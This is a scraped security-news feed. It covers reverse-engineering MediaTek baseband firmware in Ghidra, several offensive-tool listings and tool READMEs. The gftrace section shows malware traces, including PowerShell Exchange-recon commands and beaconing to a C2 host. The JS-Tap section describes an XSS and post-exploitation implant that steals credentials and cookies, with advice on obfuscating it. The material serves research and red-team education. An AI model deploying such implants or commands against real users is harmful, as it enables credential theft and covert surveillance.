Normal view

There are new articles available, click to refresh the page.
Today — 7 May 2024Main stream

Ghidra nanoMIPS ISA module

7 May 2024 at 17:11

Introduction

In late 2023 and early 2024, the NCC Group Hardware and Embedded Systems practice undertook an engagement to reverse engineer baseband firmware on several smartphones. This included MediaTek 5G baseband firmware based on the nanoMIPS architecture. While we were aware of some nanoMIPS modules for Ghidra having been developed in private, there was no publicly available reliable option for us to use at the time, which led us to develop our own nanoMIPS disassembler and decompiler module for Ghidra.

In the interest of time, we focused on implementing the features and instructions that we encountered on actual baseband firmware, and left complex P-Code instruction emulation unimplemented where it was not yet needed. Though the module is a work in progress, it still decompiles the majority of the baseband firmware we’ve analyzed. Combined with debug symbol information included with some MediaTek firmware, it has been very helpful in the reverse engineering process.

Here we will demonstrate how to load a MediaTek baseband firmware into Ghidra for analysis with our nanoMIPS ISA module.

Target firmware

For an example firmware to analyze, we looked up phones likely to include a MediaTek SoC with 5G support. Some relatively recent Motorola models were good candidates. (These devices were not part of our client engagement.)

We found many Android firmware images on https://mirrors.lolinet.com/firmware/lenomola/, including an image for the Motorola Moto Edge 2022, codename Tesla: https://mirrors.lolinet.com/firmware/lenomola/tesla/official/. This model is based on a MediaTek Dimensity 1050 (MT6879) SoC.

There are some carrier-specific variations of the firmware. We’ll randomly choose XT2205-1_TESLA_TMO_12_S2ST32.71-118-4-2-6_subsidy-TMO_UNI_RSU_QCOM_regulatory-DEFAULT_cid50_R1_CFC.xml.zip.

Extracting nanoMIPS firmware

The actual nanoMIPS firmware is in the md1img.img file from the Zip package.

To extract the content of the md1img file we also wrote some Kaitai structure definitions with simple Python wrapper scripts to run the structure parsing and output different sections to individual files. The ksy Kaitai definitions can also be used to interactively explore these files with the Kaitai IDE.

Running md1_extract.py with an --outdir option will extract the files contained within md1img.img:

$ ./md1_extract.py ../XT2205-1_TESLA_TMO_12_S2STS32.71-118-4-2-6-3_subsidy-TMO_UNI_RSU_QCOM_regulatory-DEFAULT_cid50_CFC/md1img.img --outdir ./md1img_out/
extracting files to: ./md1img_out
md1rom: addr=0x00000000, size=43084864
        extracted to 000_md1rom
cert1md: addr=0x12345678, size=1781
        extracted to 001_cert1md
cert2: addr=0x12345678, size=988
        extracted to 002_cert2
md1drdi: addr=0x00000000, size=12289536
        extracted to 003_md1drdi
cert1md: addr=0x12345678, size=1781
        extracted to 004_cert1md
cert2: addr=0x12345678, size=988
        extracted to 005_cert2
md1dsp: addr=0x00000000, size=6776460
        extracted to 006_md1dsp
cert1md: addr=0x12345678, size=1781
        extracted to 007_cert1md
cert2: addr=0x12345678, size=988
        extracted to 008_cert2
md1_filter: addr=0xffffffff, size=300
        extracted to 009_md1_filter
md1_filter_PLS_PS_ONLY: addr=0xffffffff, size=300
        extracted to 010_md1_filter_PLS_PS_ONLY
md1_filter_1_Moderate: addr=0xffffffff, size=300
        extracted to 011_md1_filter_1_Moderate
md1_filter_2_Standard: addr=0xffffffff, size=300
        extracted to 012_md1_filter_2_Standard
md1_filter_3_Slim: addr=0xffffffff, size=300
        extracted to 013_md1_filter_3_Slim
md1_filter_4_UltraSlim: addr=0xffffffff, size=300
        extracted to 014_md1_filter_4_UltraSlim
md1_filter_LowPowerMonitor: addr=0xffffffff, size=300
        extracted to 015_md1_filter_LowPowerMonitor
md1_emfilter: addr=0xffffffff, size=2252
        extracted to 016_md1_emfilter
md1_dbginfodsp: addr=0xffffffff, size=1635062
        extracted to 017_md1_dbginfodsp
md1_dbginfo: addr=0xffffffff, size=1332720
        extracted to 018_md1_dbginfo
md1_mddbmeta: addr=0xffffffff, size=899538
        extracted to 019_md1_mddbmeta
md1_mddbmetaodb: addr=0xffffffff, size=562654
        extracted to 020_md1_mddbmetaodb
md1_mddb: addr=0xffffffff, size=12280622
        extracted to 021_md1_mddb
md1_mdmlayout: addr=0xffffffff, size=8341403
        extracted to 022_md1_mdmlayout
md1_file_map: addr=0xffffffff, size=889
        extracted to 023_md1_file_map

The most relevant files are:

  • md1rom is the nanoMIPS firmware image
  • md1_file_map provides slightly more context on the md1_dbginfo file: its original filename is DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31.xz
  • md1_dbginfo is an XZ compressed binary file containing debug information for md1rom, including symbols

Extracting debug symbols

md1_dbginfo is another binary file format containing symbols and filenames with associated addresses. We’ll rename it and decompress it based on the filename from md1_file_map:

$ cp 018_md1_dbginfo DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31.xz
$ unxz DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31.xz
$ hexdump DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31 | head
00000000  43 41 54 49 43 54 4e 52  01 00 00 00 98 34 56 00  |CATICTNR.....4V.|
00000010  43 41 54 49 01 00 00 00  00 00 00 00 4e 52 31 36  |CATI........NR16|
00000020  2e 52 32 2e 4d 54 36 38  37 39 2e 54 43 32 2e 50  |.R2.MT6879.TC2.P|
00000030  52 31 2e 53 50 00 4d 54  36 38 37 39 5f 53 30 30  |R1.SP.MT6879_S00|
00000040  00 4d 54 36 38 37 39 5f  4e 52 31 36 2e 54 43 32  |.MT6879_NR16.TC2|
00000050  2e 50 52 31 2e 53 50 2e  56 31 37 2e 50 33 38 2e  |.PR1.SP.V17.P38.|
00000060  30 33 2e 32 34 2e 30 33  52 00 32 30 32 33 2f 30  |03.24.03R.2023/0|
00000070  35 2f 31 39 20 32 32 3a  33 31 00 73 00 00 00 2b  |5/19 22:31.s...+|
00000080  ed 53 00 49 4e 54 5f 56  65 63 74 6f 72 73 00 4c  |.S.INT_Vectors.L|
00000090  08 00 00 54 08 00 00 62  72 6f 6d 5f 65 78 74 5f  |...T...brom_ext_|

To extract information from the debug info file, we made another Kaitai definition and wrapper script that extracts symbols and outputs them in a text format compatible with Ghidra’s ImportSymbolsScript.py script:

$ ./mtk_dbg_extract.py md1img_out/DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31 | tee dbg_symbols.txt
INT_Vectors 0x0000084c l
brom_ext_main 0x00000860 l
INT_SetPLL_Gen98 0x00000866 l
PLL_Set_CLK_To_26M 0x000009a2 l
PLL_MD_Pll_Init 0x000009da l
INT_SetPLL 0x000009dc l
INT_Initialize_Phase1 0x027b5c80 l
INT_Initialize_Phase2 0x027b617c l
init_cm 0x027b6384 l
init_cm_wt 0x027b641e l
...

(Currently the script is set to only output label definitions rather than function definitions, as it was unknown if all of the symbols were for functions.)

Loading nanoMIPS firmware into Ghidra

Install the extension

First, we’ll have to install the nanoMIPS module for Ghidra. In the main Ghidra window, go to “File > Install Extensions”, click the “Add Extension” plus button, and select the module Zip file (e.g., ghidra_11.0.3_PUBLIC_20240424_nanomips.zip). Then restart Ghidra.

Initial loading

Load md1rom as a raw binary image. Select 000_md1rom from the md1img.img extract directory and keep “Raw Binary” as the format. For Language, click the “Browse” ellipsis and find the little endian 32-bit nanoMIPS option (nanomips:LE:32:default) using the filter, then click OK.

We’ll load the image at offset 0 so no further options are necessary. Click OK again to load the raw binary.

When Ghidra asks if you want to do an initial auto-analysis, select No. We have to set up a mirrored memory address space at 0x90000000 first.

Memory mapping

Open the “Memory Map” window and click plus for “Add Memory Block”.

We’ll name the new block “mirror”, set the starting address to ram:90000000, the length to match the length of the base image “ram” block (0x2916c40), permissions to read and execute, and the “Block Type” to “Byte Mapped” with a source address of 0 and mapping ratio of 1:1.

Also change the permissions for the original “ram” block to just read and execute. Save the memory map changes and close the “Memory Map” window.

Note that this memory map is incomplete; it’s just the minimal setup required to get disassembly working.

Debug symbols

Next, we’ll load up the debug symbols. Open the Script Manager window and search for ImportSymbolsScript.py. Run the script and select the text file generated by mtk_dbg_extract.py earlier (dbg_symbols.txt). This will create a bunch of labels, most of them in the mirrored address space.

Disassembly

Now we can begin disassembly. There is a jump instruction at address 0 that will get us started, so just select the byte at address 0 and press “d” or right-click and choose “Disassemble”. Thanks to the debug symbols, you may notice this instruction jumps to the INT_Initialize_Phase1 function.

Flow-based disassembly will now start to discover a bunch of code. The initial disassembly can take several minutes to complete.

Then we can run the normal auto-analysis with “Analysis > Auto Analyze…”. This should also discover more code and spend several minutes in disassembly and decompilation. We’ve found that the “Non-Returning Functions” analyzer creates many false positives with the default configuration in these firmware images, which disrupts the code flow, so we recommend disabling it for initial analysis.

The one-shot “Decompiler Parameter ID” analyzer is a good option to run next for better detection of function input types.

Conclusion

Although the module is still a work in progress, the results are already quite useable for analysis and allowed to us to reverse engineer some critical features in baseband processors.

The nanoMIPS Ghidra module and MediaTek binary file unpackers can be found on our GitHub at:

Yesterday — 6 May 2024Main stream

Last Week in Security (LWiS) - 2024-05-06

By: Erik
7 May 2024 at 03:59

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-04-29 to 2024-05-06.

News

Techniques and Write-ups

Tools and Exploits

  • okta-terrify - Okta Verify and Okta FastPass Abuse Tool.
  • cognito-scanner - A simple script which implements different Cognito attacks such as Account Oracle or Privilege Escalation.
  • KExecDD - Admin to Kernel code execution using the KSecDD driver.
  • Python-Beacon - Python files to aide with shellcode execution.
  • PPPwn - PPPwn - PlayStation 4 PPPoE RCE.
  • SharpGraphView - Microsoft Graph API post-exploitation toolkit.
  • symbolizer-rs - A fast execution trace symbolizer for Windows that runs on all major platforms and doesn't depend on any Microsoft libraries.

New to Me and Miscellaneous

This section is for news, techniques, write-ups, tools, and off-topic items that weren't released last week but are new to me. Perhaps you missed them too!

  • Hypervisor-Detection - Detects virtual machines and malware analysis environments.
  • wstunnel - Tunnel all your traffic over Websocket or HTTP2 - Bypass firewalls/DPI - Static binary available.
  • puter - 🌐 The Internet OS! Free, Open-Source, and Self-Hostable.
  • Installomator - Installation script to deploy standard software on Macs.
  • blint - BLint is a Binary Linter to check the security properties, and capabilities in your executables. Since v2, blint is also an SBOM generator for binaries.
  • (The) Postman Carries Lots of Secrets Don't sleep on Postman secrets!
  • QCSuper - QCSuper is a tool communicating with Qualcomm-based phones and modems, allowing to capture raw 2G/3G/4G radio frames, among other things.
  • proxybroker2 - The New (auto rotate) Proxy [Finder | Checker | Server]. HTTP(S) & SOCKS 🎭.
  • JS-Tap - JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.
  • git-rotate - Leveraging GitHub Actions to rotate IP addresses during password spraying attacks to bypass IP-Based blocking.

Techniques, tools, and exploits linked in this post are not reviewed for quality or safety. Do your own research and testing.

What's it like to be the CISO for the state of Connecticut? | Guest Jeffrey Brown

By: Infosec
6 May 2024 at 18:00

Today on Cyber Work, I’ve got a big guest for you. Jeffrey Brown, Faculty at IANS Research, is also the chief information security officer for, not a company, not for a healthcare organization, but for the entire state of Connecticut! Brown walks me through the scope and reach of a state-wide CISO, a country-wide move toward a “whole of state” strategy and, frankly, I spend an awful lot of time talking to Brown about where he finds the time to do all the things he does.

0:00 - Being CISO of an entire state
1:50 - Early interest in computer, tech and security
5:17 - A communication background in cybersecurity
7:31 - Cybersecurity career time management
13:59 - Working as a CISO of a state
15:45 - How to prepare for a CISO role at the state level
18:51 - What does a CISO do for a U.S. state?
25:50 - State cybersecurity approach
27:41 - Cyber attacks and challenges states face
32:00 - Is cybersecurity awareness a waste of time?
37:31 - Skills needed to work in cybersecurity for the state
40:11 - Learning how to lead in cybersecurity
43:20 - Favorite parts of state cybersecurity
44:19 - Resources to improve cyber hygiene
46:14 - Best piece of cybersecurity career advice
48:47 - Learn more about Jeffrey Brown
49:33 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

This is a very wide-ranging and inspiring episode – whether you’re slogging through cert study or hitting a wall trying to figure out your next career pivot, my talk with Jeff will absolutely give you a new perspective. Keep it right here for Cyber Work! 

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

Gftrace - A Command Line Windows API Tracing Tool For Golang Binaries


A command line Windows API tracing tool for Golang binaries.

Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!


How it works?

Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.

The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.

Asmstdcall receives a single parameter which is pointer to something similar to the following structure:

struct LIBCALL {
DWORD_PTR Addr;
DWORD Argc;
DWORD_PTR Argv;
DWORD_PTR ReturnValue;

[...]
}

Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.

The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.

The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).

If you want to know more about this project and research check the blogpost.

Installation

Download the latest release.

Usage

  1. Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
  2. Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
  3. Run gftrace.exe passing the target Golang program path as a parameter.
gftrace.exe <filepath> <params>

Configuration

All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:

CreateFileW,ReadFile,CreateProcessW

The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.

The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.

Examples

Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:

- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)

Tracing CreateProcessW() in the TunnelFish malware:

- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres s | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)

[...]

Tracing multiple functions in the Sunshuttle malware:

- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0) = 0xffffffff (-1)

[...]

Tracing multiple functions in the DeimosC2 framework agent:

- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57 )

[...]

Future features:

  • [x] Support inspection of 32 bits files.
  • [x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
  • [x] Add support to cmdline parameters for the target process
  • [ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.

:warning: Warning

  • The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
  • Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.

License

The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.



Send()-ing Myself Belated Christmas Gifts - GitHub.com's Environment Variables & GHES Shell

30 April 2024 at 00:00
Earlier this year, in mid-January, you might have come across this security announcement by GitHub. In this article, I will unveil the shocking story of how I discovered CVE-2024-0200, a deceptively simple, one-liner vulnerability which I initially assessed to likely be of low impact, and how I turned it into one of the most impactful bugs in GitHub’s bug bounty history. Spoiler: The vulnerability enabled disclosure of all environment variables of a production container on GitHub.
Before yesterdayMain stream

HardeningMeter - Open-Source Python Tool Carefully Designed To Comprehensively Assess The Security Hardening Of Binaries And Systems


HardeningMeter is an open-source Python tool carefully designed to comprehensively assess the security hardening of binaries and systems. Its robust capabilities include thorough checks of various binary exploitation protection mechanisms, including Stack Canary, RELRO, randomizations (ASLR, PIC, PIE), None Exec Stack, Fortify, ASAN, NX bit. This tool is suitable for all types of binaries and provides accurate information about the hardening status of each binary, identifying those that deserve attention and those with robust security measures. Hardening Meter supports all Linux distributions and machine-readable output, the results can be printed to the screen a table format or be exported to a csv. (For more information see Documentation.md file)


Execute Scanning Example

Scan the '/usr/bin' directory, the '/usr/sbin/newusers' file, the system and export the results to a csv file.

python3 HardeningMeter.py -f /bin/cp -s

Installation Requirements

Before installing HardeningMeter, make sure your machine has the following: 1. readelf and file commands 2. python version 3 3. pip 4. tabulate

pip install tabulate

Install HardeningMeter

The very latest developments can be obtained via git.

Clone or download the project files (no compilation nor installation is required)

git clone https://github.com/OfriOuzan/HardeningMeter

Arguments

-f --file

Specify the files you want to scan, the argument can get more than one file seperated by spaces.

-d --directory

Specify the directory you want to scan, the argument retrieves one directory and scan all ELF files recursively.

-e --external

Specify whether you want to add external checks (False by default).

-m --show_missing

Prints according to the order, only those files that are missing security hardening mechanisms and need extra attention.

-s --system

Specify if you want to scan the system hardening methods.

-c --csv_format'

Specify if you want to save the results to csv file (results are printed as a table to stdout by default).

Results

HardeningMeter's results are printed as a table and consisted of 3 different states: - (X) - This state indicates that the binary hardening mechanism is disabled. - (V) - This state indicates that the binary hardening mechanism is enabled. - (-) - This state indicates that the binary hardening mechanism is not relevant in this particular case.

Notes

When the default language on Linux is not English make sure to add "LC_ALL=C" before calling the script.



JS-Tap - JavaScript Payload And Supporting Software To Be Used As XSS Payload Or Post Exploitation Implant To Monitor Users As They Use The Targeted Application


JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.


Changelogs

Major changes are documented in the project Announcements:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements

Demo

You can read the original blog post about JS-Tap here:
javascript-for-red-teams">https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams

Short demo from ShmooCon of JS-Tap version 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814

Demo of JS-Tap version 2 at HackSpaceCon, including C2 and how to use it as a post exploitation implant:
https://youtu.be/aWvNLJnqObQ?t=11719

A demo can also be seen in this webinar:
https://youtu.be/-c3b5debhME?si=CtJRqpklov2xv7Um

Upgrade warning

I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.

Introduction

JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.

The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.

Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.

The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.

Make sure you review the configuration section below carefully before using on a publicly exposed server.

Data Collected

  • Client IP address, OS, Browser
  • User inputs (credentials, etc.)
  • URLs visited
  • Cookies (that don't have httponly flag set)
  • Local Storage
  • Session Storage
  • HTML code of pages visited (if feature enabled)
  • Screenshots of pages visited
  • Copy of Form Submissions
  • Copy of XHR API calls (if monkeypatch feature enabled)
    • Endpoint
    • Method (GET, POST, etc.)
    • Headers set
    • Request body and response body
  • Copy of Fetch API calls (if monkeypatch feature enabled)
    • Endpoint
    • Method (GET, POST, etc.)
    • Headers set
    • Request body and response body

Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.

Operating Modes

The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.

Trap Mode

Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.

Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.

In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.

Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.

Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.

A user refreshing the page will generally break/escape the iframe trap.

Implant Mode

Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.

A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.

Installation and Start

Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).

Example:

mkdir jsTapEnvironment
python3 -m venv jsTapEnvironment
source jsTapEnvironment/bin/activate
cd jsTapEnvironment
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap
pip3 install -r requirements.txt

run in debug/single thread mode:
python3 jsTapServer.py

run with gunicorn multithreaded (production use):
./jstapRun.sh

A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.

If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.

Note that on Mac I also had to install libmagic outside of python.

brew install libmagic

Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.

Configuration

JS-Tap Server Configuration

Debug/Single thread config

If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.

Proxy Mode

For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).

If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.

When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.

Data Directory

The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.

Server Port

To change the server port configuration see the last line of jsTapServer.py

app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')

Gunicorn Production Configuration

Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.

